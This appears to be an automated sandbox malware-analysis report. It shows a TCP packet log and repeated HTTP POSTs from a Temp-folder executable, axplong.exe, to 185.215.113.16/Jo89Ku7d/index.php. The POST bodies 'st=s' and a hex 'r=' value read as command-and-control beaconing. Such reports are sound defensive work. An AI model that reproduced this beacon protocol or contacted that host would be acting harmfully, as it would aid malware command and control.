                            Sep 27, 2024 00:23:55.098203897 CEST8049995185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:55.098262072 CEST4999580192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:55.102047920 CEST4999580192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:55.102535009 CEST4999680192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:55.109611988 CEST8049995185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:55.109672070 CEST4999580192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:55.109704971 CEST8049996185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:55.109781027 CEST4999680192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:55.110033035 CEST4999680192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:55.117048979 CEST8049996185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:55.807851076 CEST8049996185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:55.808888912 CEST4999680192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:55.914727926 CEST4999680192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:55.915330887 CEST4999780192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:55.921941996 CEST8049996185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:55.922245026 CEST8049997185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:55.924923897 CEST4999680192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:55.924932957 CEST4999780192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:55.925143003 CEST4999780192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:55.932235956 CEST8049997185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:56.664693117 CEST8049997185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:56.664757967 CEST4999780192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:56.668124914 CEST4999780192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:56.668481112 CEST4999880192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:56.675556898 CEST8049997185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:56.675574064 CEST8049998185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:56.675612926 CEST4999780192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:56.675652981 CEST4999880192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:56.675913095 CEST4999880192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:56.682723999 CEST8049998185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:57.674366951 CEST8049998185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:57.674575090 CEST4999880192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:57.675457954 CEST8049998185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:57.675573111 CEST4999880192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:57.792572975 CEST4999980192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:57.792577982 CEST4999880192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:57.799465895 CEST8049999185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:57.799595118 CEST4999980192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:57.799849033 CEST8049998185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:57.800002098 CEST4999880192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:57.802818060 CEST4999980192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:57.809613943 CEST8049999185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:58.599020004 CEST8049999185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:58.599076033 CEST4999980192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:58.602272034 CEST4999980192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:58.602732897 CEST5000080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:58.609738111 CEST8050000185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:58.609762907 CEST8049999185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:58.609805107 CEST5000080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:58.609832048 CEST4999980192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:58.610009909 CEST5000080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:58.617082119 CEST8050000185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:59.351725101 CEST8050000185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:59.351775885 CEST5000080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:59.463423014 CEST5000080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:59.463970900 CEST5000180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:59.469029903 CEST8050000185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:59.469062090 CEST8050001185.215.113.16192.168.2.4
                            Sep 27, 2024 00:23:59.469080925 CEST5000080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:59.469145060 CEST5000180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:59.469305038 CEST5000180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:23:59.474169016 CEST8050001185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:00.170747995 CEST8050001185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:00.170877934 CEST5000180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:00.173731089 CEST5000180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:00.174823046 CEST5000280192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:00.181041956 CEST8050001185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:00.181901932 CEST8050002185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:00.182009935 CEST5000180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:00.182010889 CEST5000280192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:00.182305098 CEST5000280192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:00.189301968 CEST8050002185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:00.917038918 CEST8050002185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:00.917105913 CEST5000280192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:01.099070072 CEST5000280192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:01.099765062 CEST5000380192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:01.106800079 CEST8050002185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:01.106853962 CEST5000280192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:01.107079983 CEST8050003185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:01.107134104 CEST5000380192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:01.128513098 CEST5000380192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:01.135380983 CEST8050003185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:01.805083990 CEST8050003185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:01.807002068 CEST5000380192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:01.810807943 CEST5000380192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:01.811239004 CEST5000480192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:01.816047907 CEST8050003185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:01.816279888 CEST5000380192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:01.816322088 CEST8050004185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:01.816433907 CEST5000480192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:01.816708088 CEST5000480192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:01.821508884 CEST8050004185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:02.516047955 CEST8050004185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:02.516271114 CEST5000480192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:02.658000946 CEST5000480192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:02.658374071 CEST5000580192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:02.664613962 CEST8050004185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:02.664665937 CEST5000480192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:02.664712906 CEST8050005185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:02.664863110 CEST5000580192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:02.665215969 CEST5000580192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:02.671667099 CEST8050005185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:03.393903017 CEST8050005185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:03.393980026 CEST5000580192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:03.466624022 CEST5000580192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:03.466927052 CEST5000680192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:03.473539114 CEST8050005185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:03.473596096 CEST5000580192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:03.473972082 CEST8050006185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:03.474034071 CEST5000680192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:03.484644890 CEST5000680192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:03.489456892 CEST8050006185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:04.177910089 CEST8050006185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:04.177989960 CEST5000680192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:04.290880919 CEST5000680192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:04.291296005 CEST5000780192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:04.298348904 CEST8050006185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:04.298417091 CEST8050007185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:04.298453093 CEST5000680192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:04.298717022 CEST5000780192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:04.300823927 CEST5000780192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:04.308023930 CEST8050007185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:05.018717051 CEST8050007185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:05.018781900 CEST5000780192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:05.022639036 CEST5000780192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:05.023032904 CEST5000880192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:05.028006077 CEST8050007185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:05.028064013 CEST5000780192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:05.028285027 CEST8050008185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:05.028362989 CEST5000880192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:05.028558969 CEST5000880192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:05.033535004 CEST8050008185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:05.723233938 CEST8050008185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:05.723370075 CEST5000880192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:05.868494987 CEST5000880192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:05.868519068 CEST5000980192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:05.873852968 CEST8050009185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:05.873955965 CEST5000980192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:05.874098063 CEST8050008185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:05.874583960 CEST5000880192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:05.874809027 CEST5000980192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:05.880001068 CEST8050009185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:06.575536966 CEST8050009185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:06.583148956 CEST5000980192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:07.145159960 CEST5000980192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:07.145548105 CEST5001080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:07.153527975 CEST8050009185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:07.153585911 CEST5000980192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:07.153812885 CEST8050010185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:07.156866074 CEST5001080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:07.157202005 CEST5001080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:07.164189100 CEST8050010185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:07.882426977 CEST8050010185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:07.882636070 CEST5001080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:07.992840052 CEST5001080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:07.993206978 CEST5001180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:08.000081062 CEST8050011185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:08.000158072 CEST5001180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:08.000374079 CEST5001180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:08.000421047 CEST8050010185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:08.000477076 CEST5001080192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:08.007236004 CEST8050011185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:08.748888969 CEST8050011185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:08.748991013 CEST5001180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:08.751693010 CEST5001180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:08.752151012 CEST5001280192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:08.759109974 CEST8050012185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:08.759361029 CEST8050011185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:08.759404898 CEST5001280192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:08.759582996 CEST5001180192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:08.759675026 CEST5001280192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:08.766648054 CEST8050012185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:09.477315903 CEST8050012185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:09.477443933 CEST5001280192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:09.586829901 CEST5001280192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:09.587373972 CEST5001380192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:09.594461918 CEST8050012185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:09.594547987 CEST5001280192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:09.595037937 CEST8050013185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:09.595129013 CEST5001380192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:09.595347881 CEST5001380192.168.2.4185.215.113.16
                            Sep 27, 2024 00:24:09.602323055 CEST8050013185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:10.303550959 CEST8050013185.215.113.16192.168.2.4
                            Sep 27, 2024 00:24:10.303613901 CEST5001380192.168.2.4185.215.113.16

                            HTTP Request Dependency Graph

                            • 185.215.113.16

                            HTTP Packets

                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            0192.168.2.449730185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:12.233195066 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:12.940140009 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:12 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:13.022727966 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:13.256257057 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:13 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            1192.168.2.449731185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:13.374079943 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:14.090639114 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:13 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:14.091665983 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:14.354705095 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:14 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            2192.168.2.449732185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:14.466130972 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:15.243591070 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:15 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:15.244508028 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:15.468004942 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:15 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            3192.168.2.449733185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:15.621543884 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:16.312407970 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:16 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:16.313494921 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:16.678626060 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:16 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            4192.168.2.449734185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:16.797324896 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:17.503345966 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:17 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:17.504219055 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:17.765189886 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:17 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            5192.168.2.449735185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:17.888951063 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:18.608196974 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:18 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:18.609127045 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
